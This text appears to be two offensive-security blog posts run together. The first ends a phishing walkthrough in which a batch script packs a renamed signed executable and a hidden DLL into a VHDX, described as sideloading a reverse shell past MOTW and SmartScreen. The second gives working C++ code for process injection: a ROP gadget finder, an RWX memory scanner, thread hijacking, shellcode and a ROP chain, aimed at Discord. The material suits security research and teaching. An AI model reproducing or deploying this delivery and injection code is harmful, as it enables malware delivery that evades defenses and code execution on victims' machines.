• Zip the two files and have the user extract them and run the ApplicationFrameHost.exe (which you will need to rename to something less generic!). You may ask yourself,”but why have them extract the files. Can’t they just open the zip and double click on the executable?” Sort of, but it doesn’t work the way we want it to. Essentially, the executable has no clue where the DLL file is. If you just double-click on the .exe, it will run without SmartScreen as expected, but your DLL won’t execute because it’s still stuck in limbo. Ironic isn’t it, since we’re relying on DLL sideloading to load the DLL. 😸
• Zip the files inside of a VHDX file like we did earlier. This is my recommended approach, but it comes with a catch. The VMDK file will prompt for approval to mount, but once mounted the new drive will open automatically and present the user with both files. The files contained within the VHDX will NOT require approval to execute. You can click on the .exe and no SmartScreen will come up!

Bringing it all Together!

Let’s wrap this up shall we! I wish I could go further into all my research on this topic but I’ve got a lot on my plate these days so this post will have to do for the time being 😺 I’ll be sharing additional content to supplement this blog post on my ko-fi shop though, as per my usual routine!

Ok, let’s start by creating a fresh VHDX disk file and move our DLL and renamed ApplicationFrameHost.exe into it. I also wish to make and preserve the hidden attribute for the DLL file. Most folks might be put off by seeing a random DLL file plus it’s just tacky to leave that visible on a pentest. Here’s my revised script to handle all of that. Notice how I use xcopy.exe to handle the preservation of the hidden file attribute:

@echo off
setlocal enabledelayedexpansion

set VHD_PATH=C:\Temp\DocumentUpdate.vhdx
set VHD_SIZE_MB=64
set EXE_TO_COPY=C:\Temp\DocumentRetrieval.exe
set SCRIPT_TO_COPY=C:\Temp\UMPDC.dll

echo [+] Creating 1GB VHDX...
(
echo create vdisk file="%VHD_PATH%" maximum=%VHD_SIZE_MB% type=expandable
echo select vdisk file="%VHD_PATH%"
echo attach vdisk
echo create partition primary
echo format fs=ntfs label="Documents2026" quick
echo assign letter=X
) | diskpart > nul 2>&1

REM Detect actual letter if X taken
for %%d in (X Y Z W V U T S R Q P O N M L K J I H G F E D C B A) do (
    if exist %%d:\ (
        echo [+] Drive %%d: available? No.
    ) else (
        echo [+] Assigning %%d:
        echo select disk !disknum!
        echo select partition 1
        echo assign letter=%%d
        ) | diskpart > nul 2>&1
        set DRIVE_LETTER=%%d
        goto :copy
    )
)

:copy

xcopy "%EXE_TO_COPY%" "%DRIVE_LETTER%:\"
echo [+] Copied to %DRIVE_LETTER%:\

xcopy "%SCRIPT_TO_COPY%" "%DRIVE_LETTER%:\" /h
echo [+] Copied to %DRIVE_LETTER%:\

echo select vdisk file="%VHD_PATH%"
echo detach vdisk
) | diskpart > nul 2>&1

echo [+] Done: %VHD_PATH% (test mount on target)
pause

Go ahead and run that and be sure to zip the outputted VHDX file. It’s almost 70MB otherwise 😆

Now upload that zip file to your web host of choice and generate a link to it. I’m still using Github for the purposes of this blog post. Go ahead and prepare your email and add the link to the body of the email, and send it. I’m using gmail to send the email per our example from earlier:

Here’s the receiving of the email from my other email address, an outlook.com email:

Let’s click the link! Notice we receive no browser security warnings and the file downloads.

Click on it. The zip opens without a prompt:

Now, double click the VHDX file. You will receive an initial prompt, which can’t be avoided to my knowledge. Go ahead and accept:

You’ll notice we are greeted with our Payload and no DLL file is visible (unless the client has show hidden files enabled):

Double click our Payload. Notice no SmartScreen warning and our payload runs as expected and DLL sideloads our planted DLL! My dll is a reverse shell btw, as you can see in the screenshot below 😸

Thus completes my take on ways to tackle initial access using email and bypassing MOTW ad SmartScreen Restrictions 😅

🛡️Blue Team Defensive Strategies to Avoid this Attack Vector 🛡️

Here’s a quick overview on some ways you can get in front of this type of initial access attack vector:

• Block all these email attachments, to name a few: (.ZIP, .ISO, .IMG, .VHD, .VHDX, .EXE, .JS, .VBS, .HTA, .PS1, .PY)
• Have your EDR solution monitor for LOTL (Living off the Land) binaries being used outside of the System32 folder
• Disallow execution of disk files for your average users. IT techs are really the only users who need this functionality
• Convince Microsoft to stop allowing DLL sideloading, though the onus is generally on the programmer to enforce loading all DLLs from strict paths such as System32 😸
• Be restrictive on the types of attachments and outside emails you permit sending to your organization

Source Code

Source code for the basic DLL that executes a MessageBox (Be sure to set the Build to ‘Release’ in Visual Studio!): DLL Source Code

Source code for the final BAT script that creates the VHDX file: VHDX Source Code

🎁 Bonus Content for Members! (Sapphire Tier) 🎁

📓Script for Sending emails via the commandline: Send an email using SWAKS in Linux via Bash 📓 📹 Video demonstration of using the Script (Video link located in description in the ko-fi shop: You MUST be signed in with your gmail address to view the private video!): Video demonstration 📹

📹 Video Walkthrough for Sending your initial access payload: Video demonstration 📹

🎁 Bonus Content for Members! (Emerald + Diamond Tiers) 🎁

• 🗒️ DLL source code that includes Module stomping + reverse shell shellcode (127.0.0.1:9001) and Threading to defeat Loader Lock: Source Code
• 🗒️ Source code for my Python download and exec shellcode in Memory Script: Source Code

ANY.RUN Results

Full Sandbox Analysis

Sponsored By:

• Existing RWX memory regions already available that were created by the process of interest
• Existing ROP gadgets to help us write our shellcode
• Hijacking an existing thread within the remote process to manipulate / set register values via SetThreadContext
• Using registers, assembly stubs + our collected gadgets to copy shellcode in 8 byte chunks into one of the previously discovered RWX regions of memory (This is the most exciting aspect of the technique in my personal opinion😸)
• Set RSP to a fake stack which will point to our hijacked region of memory holding our shellcode and execute the shellcode!
• Profit!

At no point will we use conventional means of writing our shellcode into the remote process with the exception of writing assembly stubs which will contain 8 byte increments of our shellcode. It will all make more sense in due time I promise, just keep on reading 😸 Essentially, we will be truly exhausting all that is already available to the remote process itself. This concept of Living off the Process has intrigued me for quite some time. I don’t know how novel the concept really is. I did know this: I knew it was possible and had to dive in and research it to truly understand the capabilities of such a technique. I’m on a modern Windows 11 25h2 with all security features enabled btw. I’ve got a lot of information to cover, so let’s get started!

So, Living off the Process huh?

Yes! 😆 It may seem overkill to do all the aforementioned prepwork just to copy shellcode into a remote process, but the benefits far outweigh the labor involved. Think about it: If everything that we need is already available to a given process, all we are required to do is to take the existing artifacts and repurpose them for our needs. No need for overusing WriteProcessMemory, VirtualAlloc, injecting a DLL, etc. This way, everything you need to manipulate the remote process is self-contained and already available to the process. Furthermore, we’ll be working with a process that EDR has already blessed 😸 So, just like Living off the Land, we take a similar approach. Using what’s already available to the process, which in turn should lower our EDR footprint on the machine considerably.

Video Teaser for an In-Depth Technical Walkthrough of this Blog Post

Full In-Depth Walkthrough can be found at my ko-fi shop: 📹 Ko-Fi Subscribers 📹

Part - 1: Collecting ROP Gadgets

Since we will be using Registers (you know…RAX, RBX, RCX, RDX, R8, R9, and so on… ) to eventually write our shellcode, we need to find existing ROP gadgets in the process to accomplish this. The most important ROP gadget we will be using is:

mov [rax], r8; ret

Where R8 will hold 8-byte chunks of our shellcode and RAX will point to the memory address for the shellcode in the remote process. You can use any two registers to handle this, I just so happened to choose these two because they seemed to be available across many of the processes I tested on my Windows 11 box.

So, here’s how it works: We will be copying the initial 8 bytes, then increasing both RAX and R8 by 8 to get the next 8 bytes in memory and the next 8 bytes of shellcode respectively. I soon realized it’s difficult locating add r8, 8; ret and add rax, 8; ret gadgets. Even inc r8; ret and inc rax; ret were difficult to locate. So, I went with another angle to accomplish the portion of my ROP gadget chain that would handle the 8 byte increments which you’ll see later. For now, let me show you how I found these gadgets. I’m old school, so I don’t always use Ropper. I like to work exclusively within x64dbg for most of my gadget searching needs these days. Here’s a quick crash course on how to find gadgets using x64Dbg:

Step 1: Choose File, Attach, and find a process you want to search for gadgets in

Step 2: Right click on the main window and following the visual below

Step 3: Type in mov [rax], r8 in the window that pops up and hit enter. This is so we can understand what the machinecode instructions are for this command

• Double-click on any entry from the listed results

Copy the machinecode/shellcode!

Next, we need to find the gadget with the ret command included. so, mov [rax], r8; ret. We can do that easily enough. Follow along with the visuals below to use the Pattern Search feature in x64dbg:

Type in the machine code values you acquired earlier: `4C 89 00 C3’ (C3 = ret in machine code) and hit enter

Double-click on any you find in the returned results:

You should see your ROP gadget and the module it was found in! This confirms that particular gadget lives in this process. W00t!

That’s it! Now that you know how to find gadgets, you’re good to go. Let me show you the code for using them now. You’ll see we add in our machine code instructions we found in x64dbg. Machine code is the lowest level form of Assembly code. so in the case of mov [rax], r8; ret', 0x4C, 0x89, 0x00, 0xC3` = machine code representation of the assembly code instructions. I should have said that earlier but alas I got ahead of myself 😸

    DWORD pid = (DWORD)atoi(argv[1]);
    std::wcout << L"[*] Target PID: " << pid << std::endl;

    // Find gadgets (in order of execution)
    BYTE gadget0[] = { 0xC3 }; // ret
    PVOID pgadget0 = FindGadget(pid, gadget0, sizeof(gadget0), "ret");
    if (!pgadget0)
    {
        std::wcout << L"[-] Could not locate any gadgets for: ret" << std::endl;
        return 1;
    }
    BYTE gadget3[] = { 0x4C, 0x89, 0x00, 0xC3 }; // mov [rax], r8; ret
    PVOID pgadget3 = FindGadget(pid, gadget3, sizeof(gadget3), "mov [rax], r8; ret");
    if (!pgadget3)
    {
        std::wcout << L"[-] Could not locate any gadgets for mov [rax], r8; ret" << std::endl;
        return 1;
    }
    BYTE gadget12[] = { 0x5C, 0xC3 }; // pop rsp; ret  (go with a non-volatile register)
    PVOID pgadget12 = FindGadget(pid, gadget12, sizeof(gadget12), "pop rsp; ret ");
    if (!pgadget12)
    {
        std::wcout << L"[-] Could not locate any gadgets for pop rsp; ret " << std::endl;
        return 1;
    }

And the FindGadget() function that finds the memory address for each gadget!

PVOID FindGadget(DWORD pid, const BYTE* gadget, SIZE_T gadgetSize, const char* description) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
    if (!hProcess) return nullptr;

    HMODULE hMods[1024];
    DWORD cbNeeded;
    PVOID gadgetAddress = nullptr;

    std::wcout << L"[*] Searching for " << description << L"..." << std::endl;

    if (EnumProcessModulesEx(hProcess, hMods, sizeof(hMods), &cbNeeded, LIST_MODULES_ALL)) {
        for (int i = 0; i < (int)(cbNeeded / sizeof(HMODULE)) && !gadgetAddress; ++i) {
            MODULEINFO modInfo;
            WCHAR modName[MAX_PATH];
            if (!GetModuleInformation(hProcess, hMods[i], &modInfo, sizeof(modInfo)) ||
                !GetModuleBaseNameW(hProcess, hMods[i], modName, MAX_PATH)) continue;

            MEMORY_BASIC_INFORMATION mbi{};
            for (BYTE* addr = (BYTE*)modInfo.lpBaseOfDll; addr < (BYTE*)modInfo.lpBaseOfDll + modInfo.SizeOfImage; ) {
                if (!VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi))) break;
                if (mbi.State == MEM_COMMIT && (mbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY))) {
                    BYTE* buffer = new BYTE[mbi.RegionSize];
                    SIZE_T bytesRead;
                    if (ReadProcessMemory(hProcess, mbi.BaseAddress, buffer, mbi.RegionSize, &bytesRead)) {
                        for (SIZE_T j = 0; j + gadgetSize <= bytesRead; ++j) {
                            if (memcmp(buffer + j, gadget, gadgetSize) == 0) {
                                gadgetAddress = (PVOID)((uintptr_t)mbi.BaseAddress + j);
                                std::wcout << L"[+] Found in " << modName << L" at 0x" << std::hex << gadgetAddress << " !!!" << std::dec << std::endl;
                                delete[] buffer;
                                CloseHandle(hProcess);
                                return gadgetAddress;
                            }
                        }
                    }
                    delete[] buffer;
                }
                addr += mbi.RegionSize;
            }
        }
    }
    CloseHandle(hProcess);
    return gadgetAddress;
}

That’s a wrap for gadget searching! Let’s move on to the next requirement for leveraging all the possibilities of LOTP (Living off the Process), finding already created RWX memory regions

Finding existing RWX memory within the remote Process

This portion of our LOTP artifact searching doesn’t require too much effort. In fact, you can easily check for already created RWX (Read/Write/Execute) memory regions via SystemInformer. This is probably the easiest artifacts to check as far as Living off the Process goes. There’s more processes that use RWX than you probably realize 😺 Here’s how to do it. I’ll be picking on the Discord process as it is a great candidate 😸

System Informer

Now, we want to do the same thing but programatically right? I’ll share the code to accomplish this below:

// Open process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
    std::wcout << L"[!] Failed to open process (Error: " << GetLastError() << L")" << std::endl;
    return 1;
}

std::wcout << L"[+] Successfully opened process handle" << std::endl;

LPVOID remoteShellcode = nullptr;
LPVOID remoteGadgets = nullptr;
// Find all RWX memory regions
std::wcout << L"\n[*] Scanning for RWX memory regions (4KB only)..." << std::endl;

int reval=FindRWXMemoryRegions(shellcode_base, hProcess, remoteShellcode, remoteGadgets);

Now, let me show you the FindRWXMemoryRegions function itself. We start by looking through all user modules for pre-allocated RWX memory regions. Then once regions are detected, I added the option for you the user to specify which region is going to serve as the gadgets memory region, the shellcode memory region, and the fake stack memory regions. If no RWX regions are found, then I added an alternative default to automatically create the necessary RWX regions. I realize this is counter to the whole notion of LOTP but the functionality is there if you want to use it. Also, the fake stack memory region always needs to be at least 0x4000 in size or greater. So when you pick a memory region, bear that in mind. 🐻 The reason being, well there’s two primary reasons. API’s use up a lot of stack space and I want to make sure when we execute our shellcode we have enough space for that. Also, I want a clean stack that isn’t clobber by preexisting data from the process we injected into.

int FindRWXMemoryRegions(unsigned char* shellcode_base, HANDLE hProcess,
    LPVOID& remoteShellcode, LPVOID& remoteGadgets, LPVOID& remoteStack)
{
    // Note: Requires #include <algorithm> for std::sort

    struct RWXRegion {
        PVOID baseAddress;
        SIZE_T size;
        std::wstring info;
    };

    std::vector<RWXRegion> rwxRegions;
    MEMORY_BASIC_INFORMATION mbi;
    PVOID address = nullptr;

    while (VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi)) == sizeof(mbi)) {
        // Check for RWX (PAGE_EXECUTE_READWRITE) regions with size greater than or equal to 0x1000
        if (mbi.State == MEM_COMMIT &&
            mbi.Protect == PAGE_EXECUTE_READWRITE &&
            mbi.RegionSize >= 0x1000) { 

            RWXRegion region;
            region.baseAddress = mbi.BaseAddress;
            region.size = mbi.RegionSize;

            // Try to get module name for this region
            HMODULE hMod;
            WCHAR modName[MAX_PATH] = L"<Unknown>";
            if (GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
                (LPCWSTR)mbi.BaseAddress, &hMod)) {
                GetModuleFileNameW(hMod, modName, MAX_PATH);
            }

            region.info = modName;
            rwxRegions.push_back(region);
        }

        // Move to next region
        address = (PVOID)((uintptr_t)mbi.BaseAddress + mbi.RegionSize);
    }

    // Sort regions by size (largest first) to ensure stack gets the largest region
    std::sort(rwxRegions.begin(), rwxRegions.end(),
        [](const RWXRegion& a, const RWXRegion& b) {
            return a.size > b.size;
        });

    if (rwxRegions.empty()) {
        std::wcout << L"[!] No RWX regions found (>=4KB)! Falling back to VirtualAllocEx..." << std::endl;
        remoteShellcode = VirtualAllocEx(hProcess, NULL, 0x1000,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (!remoteShellcode) {
            std::wcout << L"[!] VirtualAllocEx failed (Error: " << GetLastError() << L")" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        std::wcout << L"[+] Allocated shellcode memory at: 0x" << std::hex << remoteShellcode << std::dec << std::endl;

        // Allocate separate region for gadgets
        remoteGadgets = VirtualAllocEx(hProcess, NULL, 0x1000,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (!remoteGadgets) {
            std::wcout << L"[!] VirtualAllocEx for gadgets failed (Error: " << GetLastError() << L")" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        std::wcout << L"[+] Allocated gadgets memory at: 0x" << std::hex << remoteGadgets << std::dec << std::endl;

        // Allocate separate region for clean stack
        remoteStack = VirtualAllocEx(hProcess, NULL, 0x10000,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (!remoteStack) {
            std::wcout << L"[!] VirtualAllocEx for stack failed (Error: " << GetLastError() << L")" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        std::wcout << L"[+] Allocated stack memory at: 0x" << std::hex << remoteStack << std::dec << std::endl;
    }
    else if (rwxRegions.size() < 3) {
        std::wcout << L"\n[+] Found only " << rwxRegions.size() << L" RWX region(s) (need 3 for shellcode + gadgets + stack)" << std::endl;
        std::wcout << L"[*] Using found regions and allocating remaining..." << std::endl;
        std::wcout << L"============================================================" << std::endl;

        for (size_t i = 0; i < rwxRegions.size(); ++i) {
            std::wcout << L"[" << i + 1 << L"] Address: 0x" << std::hex << std::setfill(L'0') << std::setw(16)
                << rwxRegions[i].baseAddress << L" | Size: 0x" << rwxRegions[i].size << std::dec
                << L" (" << rwxRegions[i].size << L" bytes)" << std::endl;
            std::wcout << L"    Module: " << rwxRegions[i].info << std::endl;
        }
        std::wcout << L"============================================================" << std::endl;

        // Assign found regions - prioritize stack first, then gadgets, then shellcode
        if (rwxRegions.size() >= 1) {
            remoteStack = rwxRegions[0].baseAddress;
            std::wcout << L"\n[+] Using RWX region for stack at: 0x" << std::hex << remoteStack << std::dec << std::endl;
        }

        if (rwxRegions.size() >= 2) {
            remoteGadgets = rwxRegions[1].baseAddress;
            std::wcout << L"[+] Using RWX region for gadgets at: 0x" << std::hex << remoteGadgets << std::dec << std::endl;
        }

        // Allocate remaining needed regions
        if (rwxRegions.size() < 1) {
            remoteStack = VirtualAllocEx(hProcess, NULL, 0x10000,
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (!remoteStack) {
                std::wcout << L"[!] VirtualAllocEx for stack failed (Error: " << GetLastError() << L")" << std::endl;
                CloseHandle(hProcess);
                return 1;
            }
            std::wcout << L"[+] Allocated stack memory at: 0x" << std::hex << remoteStack << std::dec << std::endl;
        }

        if (rwxRegions.size() < 2) {
            remoteGadgets = VirtualAllocEx(hProcess, NULL, 0x1000,
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (!remoteGadgets) {
                std::wcout << L"[!] VirtualAllocEx for gadgets failed (Error: " << GetLastError() << L")" << std::endl;
                CloseHandle(hProcess);
                return 1;
            }
            std::wcout << L"[+] Allocated gadgets memory at: 0x" << std::hex << remoteGadgets << std::dec << std::endl;
        }

        // Always need to allocate shellcode since we have less than 3
        remoteShellcode = VirtualAllocEx(hProcess, NULL, 0x1000,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!remoteShellcode) {
            std::wcout << L"[!] VirtualAllocEx for shellcode failed (Error: " << GetLastError() << L")" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }
        std::wcout << L"[+] Allocated shellcode memory at: 0x" << std::hex << remoteShellcode << std::dec << std::endl;
    }
    else {
        std::wcout << L"\n[+] Found " << rwxRegions.size() << L" RWX memory region(s) (sorted by size, largest first):" << std::endl;
        std::wcout << L"============================================================" << std::endl;

        for (size_t i = 0; i < rwxRegions.size(); ++i) {
            std::wcout << L"[" << i + 1 << L"] Address: 0x" << std::hex << std::setfill(L'0') << std::setw(16)
                << rwxRegions[i].baseAddress << L" | Size: 0x" << rwxRegions[i].size << std::dec
                << L" (" << rwxRegions[i].size << L" bytes)" << std::endl;
            std::wcout << L"    Module: " << rwxRegions[i].info << std::endl;
        }

        std::wcout << L"============================================================" << std::endl;

        // Select region for shellcode
        std::wcout << L"\n[?] Select region for SHELLCODE (1-" << rwxRegions.size() << L"): ";
        int shellcodeChoice;
        std::cin >> shellcodeChoice;
        std::cin.ignore();

        if (shellcodeChoice < 1 || shellcodeChoice >(int)rwxRegions.size()) {
            std::wcout << L"[!] Invalid choice!" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        remoteShellcode = rwxRegions[shellcodeChoice - 1].baseAddress;
        std::wcout << L"[+] Shellcode region selected: 0x" << std::hex << remoteShellcode << std::dec << std::endl;

        // Select region for gadgets
        std::wcout << L"\n[?] Select region for GADGETS (1-" << rwxRegions.size() << L", different from "
            << shellcodeChoice << L"): ";
        int gadgetsChoice;
        std::cin >> gadgetsChoice;
        std::cin.ignore();

        if (gadgetsChoice < 1 || gadgetsChoice >(int)rwxRegions.size() || gadgetsChoice == shellcodeChoice) {
            std::wcout << L"[!] Invalid choice (must be different from shellcode region)!" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        remoteGadgets = rwxRegions[gadgetsChoice - 1].baseAddress;
        std::wcout << L"[+] Gadgets region selected: 0x" << std::hex << remoteGadgets << std::dec << std::endl;

        // Select region for clean stack
        std::wcout << L"\n[?] Select region for CLEAN STACK [!!!You must choose a region with size >= 0x4000 (16kb) !!!] (1-" << rwxRegions.size() << L", different from "
            << shellcodeChoice << L" and " << gadgetsChoice << L"): ";
        int stackChoice;
        std::cin >> stackChoice;
        std::cin.ignore();

        if (stackChoice < 1 || stackChoice >(int)rwxRegions.size() ||
            stackChoice == shellcodeChoice || stackChoice == gadgetsChoice) {
            std::wcout << L"[!] Invalid choice (must be different from shellcode and gadgets regions)!" << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        remoteStack = rwxRegions[stackChoice - 1].baseAddress;
        std::wcout << L"[+] Stack region selected: 0x" << std::hex << remoteStack << std::dec << std::endl;

        std::wcout << L"\n[*] Memory allocation summary:" << std::endl;
        std::wcout << L"    Shellcode: 0x" << std::hex << remoteShellcode << std::dec << std::endl;
        std::wcout << L"    Gadgets:   0x" << std::hex << remoteGadgets << std::dec << std::endl;
        std::wcout << L"    Stack:     0x" << std::hex << remoteStack << std::dec << std::endl;
    }

    return 0;
}

Okay, so now we have our ROP gadgets identified and our lookup function ready to go, as well as our RWX memory lookup function. Let’s continue building this out!

Next up, hijacking a thread 🧵

Hijacking an existing Thread

I went back and forth on this one. I thought about whether I wanted to just get the first thread we encounter in our thread lookup routine or specifically get just worker threads. Believe it or not, worker threads sometimes took forever to execute the final shellcode. So, I just stuck with using the first thread returned from a basic lookup. Here’s what that looks like in System Informer when we hijack a thread and suspend it. Notice the odd memory address that stands out in the hijacked thread. That’s us! 😺

Now for the code. In the code below, we grab a snapshot of all running threads and then sift through them all, looking for the first thread that matches our remote PID (processID) and return it! It’s as simple as that. Once we return the found thread, I added some code to output what the threadId was so you can look it up yourself in System Informer if you like 😸

DWORD FindThreadId(DWORD pid) {
    THREADENTRY32 te{};
    te.dwSize = sizeof(te);

    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (snap == INVALID_HANDLE_VALUE)
        return 0;

    if (Thread32First(snap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                CloseHandle(snap);
                return te.th32ThreadID;
            }
        } while (Thread32Next(snap, &te));
    }

    CloseHandle(snap);
    return 0;
}

The code below calls the FindThreadID function and then opens the hijacked thread, saving the handle to hThread.

DWORD tid = FindThreadId(pid);
if (!tid) {
    std::cerr << "Failed to find thread\n";
    return 1;
}
else
{
    std::cout << "Thread Id found!  ThreadID:" << tid << std::endl;
}

HANDLE hThread = OpenThread(
    THREAD_ALL_ACCESS,
    FALSE,
    tid
);

if (!hThread) {
    std::cerr << "OpenThread failed\n";
    return 1;
}

At this point, we have accomplished the following tasks as it pertains to LOTP artifacts:

• Using existing, running/active code within the process itself as ROP gadgets
• Use of existing/already created RWX memory
• Hijacking an existing Thread in the remote process

Let’s get a visual for what that looks like shall we? So, here’s where we find the gadgets using our compiled code (I’ll share the full code later I promise 😸):

Next up, we need to pick the discovered RWX regions of memory available to the process. I’m targeting Discord.exe as it’s very generous with providing pre-existing RWX memory 😺 Go ahead and follow the input prompts make your selections. Just make sure when you pick the fake stack memory, that you pick an entry that is listed as 0x4000 or greater. I’ve highlighted them in the visual below:

Once you make your selection, our program will then assign each respective allocated memory region to the appropriate variable. We will also hijack the first thread we come across in the remote process. Here’s how my selection process went:

Next up, we need to build out our ROP chain and also generate some assembly stubs to handle increasing our RAX and R8 register by 8 so we can cycle through all our shellcode in 8-byte chunks. We also need to add the 8-byte shellcode chunks to our dedicated shellcode memory region, moving to the next 8th byte in memory until we write all the shellcode. Oh, and it would help if I let you see the shellcode we’re using too 😆 I’ll show you that in the next section. Let’s go!

Building out the ROP Chain

Okay, so now we are ready to start building out our ROP chain using the previously collected ROP gadgets, as well as creating some small assembly stubs to help with keeping track of where we are in our 8 byte shellcode chunks. We also need to keep track of the memory address we’re copying/writing our shellcode stubs to. It will also increment by 8 bytes. Before I forget, here’s the shellcode we will be working with and copying in 8 byte chunks:

It’s just some custom shellcode I wrote myself that executes the Windows Calculator:

unsigned char shellcode_base[] =
{ 0x48, 0x83, 0xec, 0x28, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x31, 0xc9, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40, 0x60, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x70, 0x10, 0x48, 0x8b, 0x36, 0x48, 0x8b, 0x4e, 0x60, 0x48, 0x8b, 0x19, 0x48, 0xba, 0x4b, 0x00, 0x45, 0x00, 0x52, 0x00, 0x4e, 0x00, 0x48, 0x39, 0xd3, 0x74, 0x02, 0x75, 0xe5, 0x48, 0x8b, 0x5e, 0x30, 0x49, 0x89, 0xd8, 0x8b, 0x5b, 0x3c, 0x4c, 0x01, 0xc3, 0x48, 0x31, 0xc9, 0x66, 0x81, 0xc1, 0xff, 0x88, 0x48, 0xc1, 0xe9, 0x08, 0x8b, 0x14, 0x0b, 0x4c, 0x01, 0xc2, 0x44, 0x8b, 0x52, 0x14, 0x4d, 0x31, 0xdb, 0x44, 0x8b, 0x5a, 0x20, 0x4d, 0x01, 0xc3, 0x4c, 0x89, 0xd1, 0x48, 0xb8, 0xa8, 0x96, 0x91, 0xba, 0x87, 0x9a, 0x9c, 0x6f, 0x48, 0xf7, 0xd0, 0x48, 0xc1, 0xe0, 0x08, 0x48, 0xc1, 0xe8, 0x08, 0x50, 0x48, 0x89, 0xe0, 0x48, 0x83, 0xc4, 0x08, 0x67, 0xe3, 0x16, 0x31, 0xdb, 0x41, 0x8b, 0x1c, 0x8b, 0x4c, 0x01, 0xc3, 0x48, 0xff, 0xc9, 0x4c, 0x8b, 0x08, 0x4c, 0x39, 0x0b, 0x74, 0x03, 0x75, 0xe7, 0xcc, 0xff, 0xc1, 0x4d, 0x31, 0xdb, 0x44, 0x8b, 0x5a, 0x1c, 0x4d, 0x01, 0xc3, 0x45, 0x8b, 0x3c, 0x8b, 0x4d, 0x01, 0xc7, 0x48, 0x31, 0xc0, 0x50, 0x48, 0xb8, 0x9c, 0x9e, 0x93, 0x9c, 0xd1, 0x9a, 0x87, 0x9a, 0x48, 0xf7, 0xd0, 0x50, 0x48, 0x89, 0xe1, 0x48, 0x31, 0xd2, 0x48, 0xff, 0xc2, 0x48, 0x83, 0xec, 0x30, 0x41, 0xff, 0xd7 };

We start out by determining how many 8-byte chunks we need to create and also preparing our assembly stubs. I’ll explain those in greater detail soon. Both the ROP gadget chain and assembly stubs will be present within the gadget allocated memory region. The gadgets will be at and the assembly stubs will be at remoteGadgets + 0x800. Let’s check it out with some visuals and I’ll also include code to follow along with after the visuals.

At this point I’ve went into SystemInformer and opened up the Discord process running under PID 9292, navigated to the Memory tab, and copy and pasted the value for our gadgets memory address.

Double-click on the memory region once it shows up and you’ll see the entire ROP chain of all our gadgets, most of which are comprised of this gadget: mov [rax], r8; ret and the final pop rsp, ret

In between each gadget address is the placeholder address for our assembly stub code cave

I can attach x64dbg to Discord and go to the first gadget address and see it does in fact point to our mov [rax], r8; ret gadget! The stub address we won’t go to just yet.

By the way, the final pop rsp; ret gadget (see code snippet below) will pop the address of the fake stack which will be pointing to the address of our shellcode after it’s written 😺 Sort of my inventive way of using a clean stack while executing shellcode in another memory region.

// After all the write gadgets...
ropChain.push_back((DWORD64)pgadget12);  // pop rsp; ret  
ropChain.push_back((DWORD64)safeStack);  // Set RSP to safe stack
// Now ret will pop the remoteShellcode address from safeStack + 0x3F00 and jump to the shellcode!

Here’s the code for this entire section we’ve just covered above:

//**********************************************************
// ROP Gadgets Prepwork
//**********************************************************
    std::wcout << L"\n[*] Building ROP chain with code caves for our assembly stubs..." << std::endl;

    // Calculate sizes
    size_t addr_size = sizeof(void*);
    size_t base_size = sizeof(shellcode_base);
    unsigned char* shellcode = shellcode_base;

    // Calculate number of 8-byte chunks
    size_t numChunks = (base_size + 7) / 8;
    std::wcout << L"[*] Shellcode size: " << base_size << L" bytes ("
        << numChunks << L" chunks)" << std::endl;

    // Allocate memory for code stubs within gadgets region
    // Each stub needs ~21 bytes, opting to use 32 for safety and alignment
    SIZE_T stubsSize = numChunks * 32;
    LPVOID codeStubs = (LPVOID)((uintptr_t)remoteGadgets + 0x800); // Offset within gadgets region

    std::wcout << L"[*] Code stubs will be at: 0x" << std::hex << codeStubs << std::dec << std::endl;

    //********************************************
    // Build ROP chain
    //********************************************
    std::vector<DWORD64> ropChain;
    uintptr_t stubAddr = (uintptr_t)codeStubs;

    for (size_t i = 0; i < numChunks; i++) {
        if (i > 0) {  // Skip first stub in ROP chain (executed via RIP)
            ropChain.push_back(stubAddr);
        }
        ropChain.push_back((DWORD64)pgadget3);     // mov [rax], r8; ret
        stubAddr += 32;
    }
   
    // After all the write gadgets...
    ropChain.push_back((DWORD64)pgadget12);  // pop rsp; ret  
    ropChain.push_back((DWORD64)safeStack);  // Set RSP to safe stack
    // Now ret will pop the remoteShellcode address from safeStack + 0x3F00 and jump to the shellcode!

    std::wcout << L"[*] ROP chain: " << ropChain.size() << " entries" << std::endl;
    //********************************************

    // Write ROP chain to start of gadgets region
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProcess, remoteGadgets, ropChain.data(),
        ropChain.size() * sizeof(DWORD64), &bytesWritten)) {
        std::wcout << L"[!] WriteProcessMemory (ROP chain) failed: " << GetLastError() << std::endl;
        CloseHandle(hThread);
        CloseHandle(hProcess);
        return 1;
    }
    std::wcout << L"[+] ROP chain written! (" << bytesWritten << L" bytes)" << std::endl;
    std::cin.get();

